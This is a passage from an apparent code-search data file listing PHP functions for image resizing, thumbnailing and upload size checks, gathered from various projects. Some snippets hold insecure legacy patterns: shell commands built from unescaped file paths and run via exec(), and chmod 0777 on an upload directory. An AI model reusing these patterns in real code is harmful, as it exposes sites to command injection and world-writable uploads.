'image/jpeg':\n if (imagetypes() & IMG_JPG) {\n $src = imageCreateFromJPEG($source_pic['tmp_name']);\n $destination_folder.=\"$filename.jpg\";\n $namafile = \"$filename.jpg\";\n }\n break;\n\n case 'image/pjpeg':\n if (imagetypes() & IMG_JPG) {\n $src = imageCreateFromJPEG($source_pic['tmp_name']);\n $destination_folder.=\"$filename.jpg\";\n $namafile = \"$filename.jpg\";\n }\n break;\n\n case 'image/png':\n if (imagetypes() & IMG_PNG) {\n $src = imageCreateFromPNG($source_pic['tmp_name']);\n $destination_folder.=\"$filename.png\";\n $namafile = \"$filename.png\";\n }\n break;\n\n case 'image/wbmp':\n if (imagetypes() & IMG_WBMP) {\n $src = imageCreateFromWBMP($source_pic['tmp_name']);\n $destination_folder.=\"$filename.bmp\";\n $namafile = \"$filename.bmp\";\n }\n break;\n }\n\n //chmod($destination_pic,0777);\n $tmp = imagecreatetruecolor($tn_width, $tn_height);\n imagecopyresampled($tmp, $src, 0, 0, 0, 0, $tn_width, $tn_height, $source_pic_width, $source_pic_height);\n\n //**** 100 is the quality settings, values range from 0-100.\n switch ($image_info['mime']) {\n case 'image/jpeg':\n imagejpeg($tmp, $destination_folder, 100);\n break;\n\n case 'image/gif':\n imagegif($tmp, $destination_folder, 100);\n break;\n\n case 'image/png':\n imagepng($tmp, $destination_folder);\n break;\n\n default:\n imagejpeg($tmp, $destination_folder, 100);\n break;\n }\n\n return ($namafile);\n}",
"function resize_image($file, $w, $h, $crop=FALSE) {\n list($width, $height) = getimagesize($file);\n $r = $w / $h;\n $rate = $width / $height;\n // if we want it cropped\n if ($crop) {\n if ($rate < $r) {\n $src_w = $width;\n $src_h = ceil($width / $r);\n $src_x = 0;\n $src_y = ceil(($height - $src_h) / 2);\n $dst_w = $w;\n $dst_h = $h;\n $dst_x = 0;\n $dst_y = 0;\n }\n else {\n $src_w = ceil($r * $height);\n $src_h = $height;\n $src_x = ceil(($width - $src_w) / 2);\n $src_y = 0;\n $dst_w = $w;\n $dst_h = $h;\n $dst_x = 0;\n $dst_y = 0;\n }\n $newwidth = $w;\n $newheight = $h;\n }\n // if we don't want it cropped\n else {\n if ($rate < $r) {\n $src_w = $width;\n $src_h = $height;\n $src_x = 0;\n $src_y = 0;\n $dst_w = $h * $rate;\n $dst_h = $h;\n $dst_x = 0;\n $dst_y = 0;\n }\n else {\n $src_w = $width;\n $src_h = $height;\n $src_x = 0;\n $src_y = 0;\n $dst_w = $w;\n $dst_h = $w / $rate;\n $dst_x = 0;\n $dst_y = 0;\n }\n $newwidth = $dst_w;\n $newheight = $dst_h;\n }\n \n $type = strtolower(substr(strrchr($file,\".\"),1));\n if($type == 'jpeg') $type = 'jpg';\n switch($type){\n case 'bmp': $src_image = @imagecreatefromwbmp($file); break;\n case 'gif': $src_image = @imagecreatefromgif($file); break;\n case 'jpg': $src_image = @imagecreatefromjpeg($file); break;\n case 'png': $src_image = @imagecreatefrompng($file); break;\n default : return \"Unsupported picture type!\";\n } \n \n if ($src_image) {\n $dst_image = imagecreatetruecolor($newwidth, $newheight);\n imagecopyresampled($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);\n return $dst_image;\n } else {\n return null;\n }\n }",
"function normal_resize_image($source, $destination, $image_type, $max_size, $image_width, $image_height, $quality){\n\n\tif($image_width <= 0 || $image_height <= 0){return false;} //return false if nothing to resize\n\n\t//do not resize if image is smaller than max size\n\tif($image_width <= $max_size && $image_height <= $max_size){\n\t\tif(save_image($source, $destination, $image_type, $quality)){\n\t\t\treturn true;\n\t\t}\n\t}\n\n\t//Construct a proportional size of new image\n\t$image_scale\t= min($max_size/$image_width, $max_size/$image_height);\n\t$new_width\t\t= ceil($image_scale * $image_width);\n\t$new_height\t\t= ceil($image_scale * $image_height);\n\n\t$new_canvas\t\t= imagecreatetruecolor( $new_width, $new_height ); //Create a new true color image\n\n\t//Copy and resize part of an image with resampling\n\tif(imagecopyresampled($new_canvas, $source, 0, 0, 0, 0, $new_width, $new_height, $image_width, $image_height)){\n\t\tsave_image($new_canvas, $destination, $image_type, $quality); //save resized image\n\t}\n\n\treturn true;\n}",
"function saveImage($fileData,$thumbSizeMax,$thumbSizeType,$thumbQuality) {\n\t\tApp::import('Vendor','ccImageResize', array('file' => 'ccImageResize.class.php'));\n\t\t$fileData['name'] = $this->getLocationName($fileData['name']);\n\t\t$uploadedPath = WWW_ROOT . \"img/original/\" . $fileData['name'];\n\t\tif (move_uploaded_file($fileData['tmp_name'], $uploadedPath)) {\n\t\t\t$resizer = new ccImageResize;\n\t\t\t\n\t\t\tif ($resizer->resizeImage($uploadedPath, WWW_ROOT . \"img/thumbnails/\" . $fileData['name'], $thumbSizeMax,$thumbSizeType,$thumbQuality)) {\n\t\t\t\t// ok, everything is fine\n\t\t\t} else {\n\t\t\t\t// error with thumbnail resize\n\t\t\t\treturn NULL;\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ($resizer->resizeImage($uploadedPath, WWW_ROOT . \"img/medium/\" . $fileData['name'], 600,$thumbSizeType,$thumbQuality)) {\n\t\t\t\t// ok, everything is fine\n\t\t\t} else {\n\t\t\t\t// error with medium resize\n\t\t\t\treturn NULL;\n\t\t\t}\n\t\t\t\n\t\t\tif ($resizer->resizeImage($uploadedPath, WWW_ROOT . \"img/large/\" . $fileData['name'], 900,$thumbSizeType,$thumbQuality)) {\n\t\t\t\t// ok, everything is fine\n\t\t\t} else {\n\t\t\t\t// error with medium resize\n\t\t\t\treturn NULL;\n\t\t\t}\t\n\t\t\t\t\t\n\t\t} else {\n\t\t\t// TODO: Set error message if move_uploaded_file fails\n\t\t\t//die(\"Could not move uploaded file ++\" . $fileData['location'] . \" ++ \" . $fileData['name']);\n\t\t\treturn NULL;\n\t\t}\n\t\treturn $fileData['name'];\n\t}",
"public function setMaximumFileSize($size) {\n $this->_maxSize = $size;\n }",
"public function setSizeLimit($value) {\n $this->sizeLimit = $value;\n return $this;\n }",
"protected static function setImageThumbnails($file) {\n\n\t\t$file->icontime = time();\n\t\t$prefix = \"file/\";\n\n\t\t// use same filename on the disk - ensures thumbnails are overwritten\n\t\t$filestorename = $file->getFilename();\n\t\t$filestorename = elgg_substr($filestorename, elgg_strlen($prefix));\n\n\t\t$thumb = new ElggFile();\n\t\t$thumb->setMimeType($file->mimetype);\n\n\t\t$thumbnail = get_resized_image_from_existing_file($file->getFilenameOnFilestore(), 60, 60, true);\n\t\tif ($thumbnail) {\n\t\t\t$thumb->setFilename($prefix.\"thumb\".$filestorename);\n\t\t\t$thumb->open('write');\n\t\t\t$thumb->write($thumbnail);\n\t\t\t$thumb->close();\n\t\t\t$file->thumbnail = $prefix.\"thumb\".$filestorename;\n\t\t\tunset($thumbnail);\n\t\t}\n\n\t\t$thumbsmall = get_resized_image_from_existing_file($file->getFilenameOnFilestore(), 153, 153, true);\n\t\tif ($thumbsmall) {\n\t\t\t$thumb->setFilename($prefix.\"smallthumb\".$filestorename);\n\t\t\t$thumb->open('write');\n\t\t\t$thumb->write($thumbsmall);\n\t\t\t$thumb->close();\n\t\t\t$file->smallthumb = $prefix.\"smallthumb\".$filestorename;\n\t\t\tunset($thumbsmall);\n\t\t}\n\n\t\t$thumblarge = get_resized_image_from_existing_file($file->getFilenameOnFilestore(), 600, 600, false);\n\t\tif ($thumblarge) {\n\t\t\t$thumb->setFilename($prefix.\"largethumb\".$filestorename);\n\t\t\t$thumb->open('write');\n\t\t\t$thumb->write($thumblarge);\n\t\t\t$thumb->close();\n\t\t\t$file->largethumb = $prefix.\"largethumb\".$filestorename;\n\t\t\tunset($thumblarge);\n\t\t}\n\t}",
"function create_image($source,$sizes){\n // Tony Smith uploaded a big image once (7000x3000pixels) that was 1.1MB as a JPEG compressed,\n // but when inflated out using imagecreatefromjpeg used more memory than there was available!\n // So lets make this nice and large to handle Tony's massive bits\n ini_set('memory_limit', '256M');\n\n // Save parts of source image path\n $path_parts = pathinfo($source);\n\n // Load image and get image size.\n $img = imagecreatefromjpeg($source);\n $width = imagesx($img);\n $height = imagesy($img);\n\n foreach($sizes as $s){\n\n // Create new filename\n $new_name = $path_parts['dirname'].\"/\".$path_parts['filename'].\"_\".$s['suffix'].\".\".$path_parts['extension'];\n\n // Scale to fit the required width\n if ($width > $height) {\n $newwidth = $s['dim'];\n $divisor = $width / $s['dim'];\n $newheight = floor($height/$divisor);\n }else{\n $newheight = $s['dim'];\n $divisor = $height / $s['dim'];\n $newwidth = floor($width/$divisor);\n }\n\n // Create a new temporary image.\n $tmpimg = imagecreatetruecolor($newwidth,$newheight);\n \n // Copy and resize old image into new image.\n imagecopyresampled($tmpimg,$img,0,0,0,0,$newwidth,$newheight,$width,$height);\n\n // Save thumbnail into a file.\n imagejpeg($tmpimg,$new_name,$s['q']);\n\n // release the memory\n imagedestroy($tmpimg);\n\n }\n imagedestroy($img);\n}",
"public function scale($scale = 1) {\n\t\tif(stristr($scale, '%') !== false) {\n\t\t\t$scale = (float) preg_replace('/[^0-9\\.]/', '', $scale);\n\t\t\t$scale = $scale/100;\n\t\t}\n\t\t$scale = (float) $scale;\n\t\t$new_width = ceil($this->width * $scale);\n\t\t$new_height = ceil($this->height * $scale);\n\n\t\t$working_image = imagecreatetruecolor($new_width, $new_height);\n\n\t\tif(imagecopyresampled($working_image, $this->image, 0, 0, 0, 0, $new_width, $new_height, $this->width, $this->height)) {\n\t\t\t$this->image = $working_image;\n\t\t\t$this->width = $new_width;\n\t\t\t$this->height = $new_height;\n\t\t\treturn true;\n\t\t} else {\n\t\t\ttrigger_error('Resize failed.', E_USER_WARNING);\n\t\t\treturn false;\n\t\t}\n\t}",
"function change_size($size, $save_mode)\n\t{\n\t//change the size of the actual object.\n\treturn NOT_SUPPORTED;\n\t}",
"public function write($_size, $src_path, $dst_path, $_resize = 0, $_trans = false)\r\n {\r\n if ( ! file_exists($src_path) ) return;\r\n if ( ! file_exists($dst_path) ) self::createPath($dst_path);\r\n \r\n //load the args\r\n $this->_Load_Args($_size, $_resize);\r\n $img_size = getimagesize($src_path);\r\n if ( $img_size[0] <= $this->_size[0] ) return true;\r\n\r\n $this->img_src = $this->getImageSource($src_path);\r\n if ($this->img_src == NULL) return;\r\n $w_src = imagesx( $this->img_src );\r\n $h_src = imagesy( $this->img_src );\r\n \r\n $_dst_posi = array();\r\n $_dst_size = array();\r\n switch ( $this->_resize )\r\n {\r\n case 0:\r\n $_dst_posi[0] = 0; $_dst_posi[1] = 0;\r\n $_dst_size[0] = $this->_size[0];\r\n $_dst_size[1] = $this->_size[1];\r\n $this->img_dst = imagecreatetruecolor($this->_size[0], $this->_size[1]);\r\n break;\r\n case 1:\r\n if ( $w_src < $this->_size[0] && $h_src < $this->_size[1] )\r\n {\r\n $this->_size[0] = $w_src;\r\n $this->_size[1] = $h_src;\r\n $_dst_size[0] = $this->_size[0]; $_dst_size[1] = $this->_size[1];\r\n $_dst_posi[0] = 0; $_dst_posi[1] = 0;\r\n }\r\n else\r\n {\r\n $_per = $w_src / $h_src;\r\n $aim_w = $this->_size[1] * $_per; //aim width\r\n if ( $aim_w < $this->_size[0] )\r\n {\r\n $_dst_size[0] = $aim_w;\r\n $_dst_size[1] = $this->_size[1];\r\n $_dst_posi[0] = ($this->_size[0] - $aim_w) / 2;\r\n $_dst_posi[1] = 0;\r\n }\r\n else\r\n {\r\n $_dst_size[0] = $this->_size[0];\r\n $_dst_size[1] = $this->_size[0] / $_per;\r\n $_dst_posi[0] = 0;\r\n $_dst_posi[1] = ($this->_size[1] - $_dst_size[1]) / 2; \r\n }\r\n }\r\n $this->img_dst = imagecreatetruecolor($this->_size[0], $this->_size[1]);\r\n break;\r\n case 2:\r\n \r\n if ( max($this->_size) == 0 ) return;\r\n $_ac = $this->_size[0] == 0 ? 1 : 0;\r\n //echo $w_src.', '.$h_src.', '.$_ac;\r\n \r\n if ( $_ac == 0 )\r\n {\r\n $_dst_size[0] = min($this->_size[0], $w_src);\r\n $_dst_size[1] = $_dst_size[0] * $h_src / $w_src;\r\n //echo $_dst_size[0].', '.$_dst_size[1];\r\n }\r\n else\r\n {\r\n $_dst_size[1] = min($this->_size[1], $h_src);\r\n $_dst_size[0] = $_dst_size[1] * $w_src / $h_src;\r\n //echo $_dst_size[0].', '.$_dst_size[1]; \r\n }\r\n $_dst_posi[0] = 0; $_dst_posi[1] = 0;\r\n $this->img_dst = imagecreatetruecolor($_dst_size[0], $_dst_size[1]);\r\n break;\r\n }\r\n \r\n if ( $this->img_dst == NULL ) return;\r\n //build a white background for the resource \r\n\r\n if ($_trans){\r\n $bg = imagecolorallocatealpha($this->img_dst, 255, 255, 255, 127);\r\n imagefill($this->img_dst, 0, 0, $bg);\r\n } else {\r\n $bg = imagecolorallocate($this->img_dst, 255, 255, 255);\r\n imagefill($this->img_dst, 0, 0, $bg);\r\n }\r\n /*\r\n bool imagecopyresampled ( resource dst_image, resource src_image, \r\n int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h )\r\n */\r\n $_copy = imagecopyresampled($this->img_dst, $this->img_src, $_dst_posi[0], $_dst_posi[1], 0, 0,\r\n $_dst_size[0], $_dst_size[1], $w_src, $h_src);\r\n $_out = true;\r\n //imagejpeg($this->img_dst, $dst_path, 100);\r\n switch ($this->_extension)\r\n {\r\n case 'GIF':\r\n $_out = imagegif($this->img_dst, $dst_path);\r\n break;\r\n case 'JPG':\r\n case 'JPEG':\r\n $_out = imagejpeg($this->img_dst, $dst_path, 100);\r\n break;\r\n case 'PNG':\r\n // support transparent background\r\n // add by dongyado<[email protected]>\r\n if ($_trans){\r\n imagealphablending( $this->img_dst, false );\r\n imagesavealpha( $this->img_dst, true ); \r\n }\r\n $_out = imagepng($this->img_dst, $dst_path);\r\n break;\r\n case 'WBMP':\r\n $_out = imagewbmp($this->img_dst, $dst_path);\r\n }\r\n \r\n return $_copy && $_out; \r\n }",
"function resize_img($dir_in, $dir_out, $imedat='defaultname.jpg', $max=500,$new) {\r\n\r\n $img = $dir_in . '/' . $imedat;\r\n $extension = array_pop(explode('.', $imedat));\r\n $fileExt = strtolower(end(explode('.',$imedat)));\r\n $imedat = $new.$fileExt;\r\n switch ($extension){\r\n \r\n case 'jpg':\r\n case 'jpeg':\r\n $image = ImageCreateFromJPEG($img);\r\n break;\r\n \r\n case 'png':\r\n $image = ImageCreateFromPNG($img);\r\n break;\r\n \r\n default:\r\n $image = false;\r\n }\r\n\r\n\r\nif(!$image){\r\n // not valid img stop processing\r\n return false; \r\n}\r\n\r\n $vis = imagesy($image);\r\n $sir = imagesx($image);\r\n\r\n if(($vis < $max) && ($sir < $max)) {\r\n $nvis=$vis; $nsir=$sir;\r\n } else {\r\n if($vis > $sir) { $nvis=$max; $nsir=($sir*$max)/$vis;}\r\n elseif($vis < $sir) { $nvis=($max*$vis)/$sir; $nsir=$max;}\r\n else { $nvis=$max; $nsir=$max;}\r\n }\r\n\r\n $out = ImageCreateTrueColor($nsir,$nvis);\r\n ImageCopyResampled($out, $image, 0, 0, 0, 0, $nsir, $nvis, $sir, $vis);\r\n\r\n switch ($extension){\r\n \r\n case 'jpg':\r\n case 'jpeg':\r\n imageinterlace($out ,1);\r\n ImageJPEG($out, $dir_out . '/' . $imedat, 75);\r\n break;\r\n \r\n case 'png':\r\n ImagePNG($out, $dir_out . '/' . $imedat);\r\n break;\r\n \r\n default:\r\n $out = false;\r\n }\r\n\r\n if(!$out){\r\n return false;\r\n }\r\n \r\nImageDestroy($image);\r\nImageDestroy($out);\r\n\r\nreturn true;\r\n}",
"public function SetMaxSize ($maxSize);",
"protected static function setPdfThumbnails($file) {\n\n\t\tif (is_readable($file->getFilenameOnFilestore())) {\n\t\t\t$file->icontime = time();\n\t\t\t$prefix = \"file/\";\n\n\t\t\t// use same filename on the disk - ensures thumbnails are overwritten\n\t\t\t$filestorename = $file->getFilename();\n\t\t\t$filestorename = elgg_substr($filestorename, elgg_strlen($prefix));\n\n\t\t\t$thumb = new ElggFile();\n\t\t\t$thumb->setMimeType('image/jpeg');\n\n\t\t\t$im = new Imagick();\n\t\t\t$im->setResolution(300, 300);\n\t\t\t$im->readImage($file->getFilenameOnFilestore().'[0]');\n\t\t\t$im->setCompression(Imagick::COMPRESSION_JPEG);\n\t\t\t$im->setCompressionQuality(90);\n\t\t\t$im->setBackgroundColor('white');\n\t\t\t$im = $im->flattenImages();\n\t\t\t$im->setImageFormat('jpeg');\n\t\t\t$im->thumbnailImage(600, 0);\n\n\t\t\tif ($im) {\n\n\t\t\t\t$thumb->setFilename($prefix.\"largethumb\".$filestorename.'.jpg');\n\t\t\t\t$thumb->open('write');\n\t\t\t\t$thumb->write($im);\n\t\t\t\t$thumbs_path = $thumb->getFilenameOnFilestore();\n\t\t\t\t$thumb->close();\n\t\t\t\t$file->largethumb = $prefix.\"largethumb\".$filestorename.'.jpg';\n\t\t\t\t$im->clear();\n\t\t\t\t$im->destroy();\n\t\t\t\tunset($im);\n\n\t\t\t\t$thumbnail = get_resized_image_from_existing_file($thumbs_path, 60, 60, true);\n\t\t\t\tif ($thumbnail) {\n\t\t\t\t\t$thumb->setFilename($prefix.\"thumb\".$filestorename.'.jpg');\n\t\t\t\t\t$thumb->open('write');\n\t\t\t\t\t$thumb->write($thumbnail);\n\t\t\t\t\t$thumb->close();\n\t\t\t\t\t$file->thumbnail = $prefix.\"thumb\".$filestorename.'.jpg';\n\t\t\t\t\tunset($thumbnail);\n\t\t\t\t}\n\n\t\t\t\t$thumbsmall = get_resized_image_from_existing_file($thumbs_path, 153, 153, true);\n\t\t\t\tif ($thumbsmall) {\n\t\t\t\t\t$thumb->setFilename($prefix.\"smallthumb\".$filestorename.'.jpg');\n\t\t\t\t\t$thumb->open('write');\n\t\t\t\t\t$thumb->write($thumbsmall);\n\t\t\t\t\t$thumb->close();\n\t\t\t\t\t$file->smallthumb = $prefix.\"smallthumb\".$filestorename.'.jpg';\n\t\t\t\t\tunset($thumbsmall);\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}",
"public function _set_new_size_auto()\n {\n if (empty($this->source_width) || empty($this->source_height)) {\n if ( ! $this->SILENT_MODE) {\n trigger_error('Missing source image sizes!', E_USER_WARNING);\n }\n return false;\n }\n $k1 = $this->source_width / $this->limit_x;\n $k2 = $this->source_height / $this->limit_y;\n $k = $k1 >= $k2 ? $k1 : $k2;\n if ($this->reduce_only && $k1 <= 1 && $k2 <= 1) {\n $this->output_width = $this->source_width;\n $this->output_height = $this->source_height;\n } else {\n $this->output_width = round($this->source_width / $k, 0);\n $this->output_height = round($this->source_height / $k, 0);\n }\n return true;\n }",
"function create_medium($type, $image){\r\n\techo $source_path=DIR_FS_SITE.'upload/photo/'.$type.'/large/'.$image;\r\n\techo $destination_path=DIR_FS_SITE.'upload/photo/'.$type.'/medium/'.$image;\r\n\tlist($width, $height) = getimagesize($source_path);\r\n $xscale=$width/MEDIUM_WIDTH;\r\n $yscale=$height/MEDIUM_HEIGHT;\r\n \r\n // Recalculate new size with default ratio\r\n if ($yscale>$xscale){\r\n $new_width = round($width * (1/$yscale));\r\n $new_height = round($height * (1/$yscale));\r\n }\r\n else {\r\n $new_width = round($width * (1/$xscale));\r\n $new_height = round($height * (1/$xscale));\r\n }\r\n\r\n #check image format and create image\r\n if(strtolower(substr($source_path, -3))=='jpg'):\r\n $imageTmp = imagecreatefromjpeg ($source_path);\r\n elseif(strtolower(substr($source_path, -3))=='gif'):\r\n $imageTmp = imagecreatefromgif($source_path);\r\n elseif(strtolower(substr($source_path, -3))=='png'):\r\n $imageTmp = imagecreatefrompng($source_path);\r\n endif;\r\n\r\n // Resize the original image & output\r\n $imageResized = imagecreatetruecolor($new_width, $new_height);\r\n # $imageTmp = imagecreatefromjpeg ($source_path);\r\n imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\r\n output_img($imageResized, image_type_to_mime_type(getimagesize($source_path)), $destination_path);\r\n}",
"public function setMaxFileSize( $size, $isMB = true ) {\r\n\t\t\t$size = ( $size < 0 ) ? 0 : $size;\r\n\t\t\t// convert to byte if $isMB = true\r\n\t\t\t$this->MaxFileSize = ( $isMB ) ? $size * 1000000 : $size;\r\n\t\t}",
"static function resize($sourcePath, $newWidth = 100, $newHeight = 100)\n {\n switch (exif_imagetype($sourcePath)) {\n case IMAGETYPE_JPEG :\n $sourceImage = imagecreatefromjpeg($sourcePath);\n break;\n case IMAGETYPE_PNG :\n $sourceImage = imagecreatefrompng($sourcePath);\n break;\n case IMAGETYPE_GIF :\n $sourceImage = imagecreatefromgif($sourcePath);\n break;\n default:\n return;\n }\n\n // Create the new image (still blank/empty)\n $newImage = imagecreatetruecolor($newWidth, $newHeight);\n imagesetinterpolation($newImage, IMG_SINC);\n\n // Determine the source image Dimensions\n $sourceImageWidth = imagesx($sourceImage);\n $sourceImageHeight = imagesy($sourceImage);\n $sourceImageAspectRatio = $sourceImageWidth / $sourceImageHeight;\n $newImageAspectRatio = $newWidth / $newHeight;\n\n // Determine parameters and copy part of the source image into the new image\n if ($newImageAspectRatio >= $sourceImageAspectRatio) { // width is the limiting factor for the source image\n $src_x = 0;\n $src_w = $sourceImageWidth;\n $src_h = $src_w / $newImageAspectRatio;\n $src_y = ($sourceImageHeight - $src_h) / 2;\n } else { // height of source image is limiting factor\n $src_y = 0;\n $src_h = $sourceImageHeight;\n $src_w = $src_h * $newImageAspectRatio;\n $src_x = ($sourceImageWidth - $src_w) / 2;\n }\n\n imagecopyresampled($newImage, $sourceImage, 0, 0, $src_x, $src_y, $newWidth, $newHeight, $src_w, $src_h);\n\n // Save new image to destination path\n switch (exif_imagetype($sourcePath)) {\n case IMAGETYPE_JPEG :\n imagejpeg($newImage, $sourcePath, 100);\n break;\n case IMAGETYPE_PNG :\n imagepng($newImage, $sourcePath);\n break;\n case IMAGETYPE_GIF :\n imagegif($newImage, $sourcePath);\n break;\n }\n\n // Remove image resources to reallocate space\n imagedestroy($sourceImage);\n imagedestroy($newImage);\n }",
"function makethumbnail($image_name,$src,$dest) {\n global $_CONF, $CONF_SE;\n $do_create = 0;\n if ($image_info = @getimagesize($src)) {\n if ($image_info[2] == 1 || $image_info[2] == 2 || $image_info[2] == 3) {\n $do_create = 1;\n }\n }\n if ($do_create) {\n $dimension = (intval($CONF_SE['auto_thumbnail_dimension'])) ? intval($CONF_SE['auto_thumbnail_dimension']) : 100;\n $resize_type = (intval($CONF_SE['auto_thumbnail_resize_type'])) ? intval($CONF_SE['auto_thumbnail_resize_type']) : 1;\n $quality = (intval($CONF_SE['auto_thumbnail_quality']) && intval($CONF_SE['auto_thumbnail_quality']) <= 100) ? intval($CONF_SE['auto_thumbnail_quality']) : 100;\n\n if (create_thumbnail($src, $dest, $quality, $dimension, $resize_type)) {\n $new_thumb_name = $new_name;\n $chmod = @chmod ($dest,$CONF_SE['image_perms']);\n }\n }\n}",
"public function uploadFile($input_file,$destinationPath,$file_type = 'image',$fileName){\n if($file_type == 'image'){\n $img = Image::make($input_file->getRealPath());\n $img->resize(100, 100, function ($constraint) {\n $constraint->aspectRatio();\n })->save($destinationPath.'/thumbs/'.$fileName);\n }\n chmod($destinationPath, 0777); //changed to add the zero\n $input_file->move($destinationPath, $fileName); // uploading file to given path\n return $fileName;\n }",
"function createthumb($name,$filename,$new_w,$new_h) {\n $system=explode(\".\",$name);\n if (preg_match(\"/jpg|jpeg/\", $system[sizeof($system) - 1])) {\n $src_img=imagecreatefromjpeg($name);\n } else return;\n\n $old_x=imageSX($src_img);\n $old_y=imageSY($src_img);\n if ($old_x > $old_y) {\n $thumb_w=$new_w;\n $thumb_h=$old_y*($new_h/$old_x);\n }\n if ($old_x < $old_y) {\n $thumb_w=$old_x*($new_w/$old_y);\n $thumb_h=$new_h;\n }\n if ($old_x == $old_y) {\n $thumb_w=$new_w;\n $thumb_h=$new_h;\n }\n $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h);\n imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);\n echo imagejpeg($dst_img,$filename);\n\n imagedestroy($dst_img);\n imagedestroy($src_img);\n}",
"function media_upload_max_image_resize()\n {\n }",
"private function checkSize()\n {\n $allowedSize = intval($this->getSetting('allowed_upload_size', true));\n if ($allowedSize) {\n if ($this->file->getSize() > $allowedSize) {\n throw new FileException(\"File cannot be bigger than $allowedSize bytes\");\n }\n }\n }",
"function _resizeImageNETPBM($src_file, $des_file, $new_size, $imgobj) {\r\n if ($imgobj->_size == null) {\r\n return false;\r\n }\r\n // height/width\r\n $ratio = max($imgobj->_size[0], $imgobj->_size[1]) / $new_size;\r\n $ratio = max($ratio, 1.0);\r\n $destWidth = (int)($imgobj->_size[0] / $ratio);\r\n $destHeight = (int)($imgobj->_size[1] / $ratio);\r\n if (eregi(\"\\.png\", $imgobj->_filename)) {\r\n $cmd = $this->_NETPBM_path . \"pngtopnm $src_file | \" . $this->_NETPBM_path . \"pnmscale -xysize $destWidth $destHeight | \" . $this->_NETPBM_path . \"pnmtopng > $des_file\" ; \r\n } elseif (eregi(\"\\.(jpg|jpeg)\", $imgobj->_filename)) {\r\n $cmd = $this->_NETPBM_path . \"jpegtopnm $src_file | \" . $this->_NETPBM_path . \"pnmscale -xysize $destWidth $destHeight | \" . $this->_NETPBM_path . \"ppmtojpeg -quality=\" . $this->_JPEG_quality . \" > $des_file\" ;\r\n } elseif (eregi(\"\\.gif\", $imgobj->_filename)) {\r\n $cmd = $this->_NETPBM_path . \"giftopnm $src_file | \" . $this->_NETPBM_path . \"pnmscale -xysize $destWidth $destHeight | \" . $this->_NETPBM_path . \"ppmquant 256 | \" . $this->_NETPBM_path . \"ppmtogif > $des_file\" ; \r\n } else {\r\n return false;\r\n }\r\n $output = $retval = null;\r\n exec($cmd, $output, $retval);\r\n if ($retval) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }",
"public function autoResize(&$targetFileName, \\TYPO3\\CMS\\Core\\Resource\\Folder $folder, $sourceFile) {\n\t\t$storageConfiguration = $folder->getStorage()->getConfiguration();\n\t\t$storageRecord = $folder->getStorage()->getStorageRecord();\n\t\tif ($storageRecord['driver'] === 'Local') {\n\t\t\t$targetDirectory = $storageConfiguration['pathType'] === 'relative' ? PATH_site : '';\n\t\t\t$targetDirectory .= rtrim($storageConfiguration['basePath'], '/') . $folder->getIdentifier();\n\n\t\t\t$extension = strtolower(substr($targetFileName, strrpos($targetFileName, '.') + 1));\n\n\t\t\t// Various operation (including IM/GM) relies on a file WITH an extension\n\t\t\t$originalSourceFile = $sourceFile;\n\t\t\t$sourceFile .= '.' . $extension;\n\n\t\t\tif (rename($originalSourceFile, $sourceFile)) {\n\t\t\t\t$newSourceFile = static::$imageResizer->processFile(\n\t\t\t\t\t$sourceFile,\n\t\t\t\t\t$targetFileName,\n\t\t\t\t\t$targetDirectory,\n\t\t\t\t\tNULL,\n\t\t\t\t\t$GLOBALS['BE_USER'],\n\t\t\t\t\tarray($this, 'notify')\n\t\t\t\t);\n\n\t\t\t\tstatic::$metadata = static::$imageResizer->getLastMetadata();\n\n\t\t\t\t$newExtension = strtolower(substr($newSourceFile, strrpos($newSourceFile, '.') + 1));\n\n\t\t\t\t// We must go back to original (temporary) file name\n\t\t\t\trename($newSourceFile, $originalSourceFile);\n\n\t\t\t\tif ($newExtension !== $extension) {\n\t\t\t\t\t$targetFileName = substr($targetFileName, 0, -strlen($extension)) . $newExtension;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"public function create_thumbnail($max_width = false, $min_filesize = false)\n\t{\n\t\t$source = $this->get_filepath();\n\t\t$destination = $this->get_filepath(true);\n\t\t$min_filesize = ($min_filesize !== false) ? $min_filesize : (int) $this->config['img_min_thumb_filesize'];\n\t\t$img_filesize = (file_exists($source)) ? @filesize($source) : false;\n\n\t\tif (!$img_filesize || $img_filesize <= $min_filesize)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$dimension = @getimagesize($source);\n\n\t\tif ($dimension === false)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tlist($width, $height, $type, ) = $dimension;\n\n\t\tif (empty($width) || empty($height))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tlist($new_width, $new_height) = $this->get_img_size_format($width, $height, $max_width);\n\n\t\t// Do not create a thumbnail if the resulting width/height is bigger than the original one\n\t\tif ($new_width >= $width && $new_height >= $height)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$used_imagick = false;\n\n\t\t// Only use imagemagick if defined and the passthru function not disabled\n\t\tif ($this->config['img_imagick'] && function_exists('passthru'))\n\t\t{\n\t\t\tif (substr($this->config['img_imagick'], -1) !== '/')\n\t\t\t{\n\t\t\t\t$this->config['img_imagick'] .= '/';\n\t\t\t}\n\n\t\t\t@passthru(escapeshellcmd($this->config['img_imagick']) . 'convert' . ((defined('PHP_OS') && preg_match('#^win#i', PHP_OS)) ? '.exe' : '') . ' -quality 85 -geometry ' . $new_width . 'x' . $new_height . ' \"' . str_replace('\\\\', '/', $source) . '\" \"' . str_replace('\\\\', '/', $destination) . '\"');\n\n\t\t\tif (file_exists($destination))\n\t\t\t{\n\t\t\t\t$used_imagick = true;\n\t\t\t}\n\t\t}\n\n\t\tif (!$used_imagick)\n\t\t{\n\t\t\tif (!function_exists('get_supported_image_types'))\n\t\t\t{\n\t\t\t\tinclude($this->phpbb_root_path . 'includes/functions_posting.' . $this->php_ext);\n\t\t\t}\n\t\t\t$type = get_supported_image_types($type);\n\n\t\t\tif ($type['gd'])\n\t\t\t{\n\t\t\t\t// If the type is not supported, we are not able to create a thumbnail\n\t\t\t\tif 